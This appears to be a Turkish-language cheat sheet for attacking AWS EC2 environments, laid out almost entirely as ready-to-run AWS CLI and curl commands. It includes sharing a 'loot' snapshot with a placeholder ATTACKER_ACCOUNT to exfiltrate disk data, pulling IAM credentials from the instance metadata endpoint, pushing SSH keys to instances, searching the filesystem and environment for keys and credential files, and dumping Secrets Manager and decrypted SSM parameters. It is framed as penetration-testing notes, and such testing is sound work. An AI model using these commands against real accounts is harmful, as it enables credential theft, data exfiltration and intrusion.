Skip to content

AWS - EC2 Unauthenticated Enum

AWS unauth

AWS - EC2 Unauthenticated Enum — AWS ortamında kimlik doğrulamasız keşif ve ilk erişim notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Anonim / public yüzeyleri (URL, bucket, API, metadata) parmak izi al.

  2. Kimlik gerektiren uçları ayrı tut; açık policy / misconfig doğrula.

  3. Erişim kanıtı üret (listeleme, okuma, invoke).

  4. Elde edilen secret/token ile authenticated faza geç.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - EC2 Unauthenticated Enum için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws ec2 describe-security-groups --query 'SecurityGroups[].[GroupId,GroupName]' --output table
Terminal window
aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[].SnapshotId'
Terminal window
aws ec2 create-snapshot --volume-id VOL --description loot
Terminal window
aws ec2 modify-snapshot-attribute --snapshot-id SNAP --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNT
Terminal window
aws ec2 create-volume --snapshot-id SNAP --availability-zone AZ
Terminal window
aws ec2 attach-volume --volume-id VOL --instance-id I --device /dev/sdf
Terminal window
aws ssm start-session --target i-INSTANCE
Terminal window
aws ec2-instance-connect send-ssh-public-key --instance-id i-ID --instance-os-user ubuntu --ssh-public-key file://id_rsa.pub
Terminal window
aws ec2 describe-instance-attribute --instance-id i-ID --attribute userData
Terminal window
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds:21600')
Terminal window
curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,IamInstanceProfile.Arn]' --output table

İmzasız veya public istekle okuma/yazma/invoke mümkün mü — bunu netleştir.

Terminal window
aws s3 ls s3://BUCKET --no-sign-request
Terminal window
curl -s https://BUCKET.s3.amazonaws.com/
Terminal window
curl -s https://ID.execute-api.REGION.amazonaws.com/STAGE/
Terminal window
aws lambda get-policy --function-name FN 2>/dev/null | jq .
Terminal window
curl -s http://169.254.169.254/latest/meta-data/

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt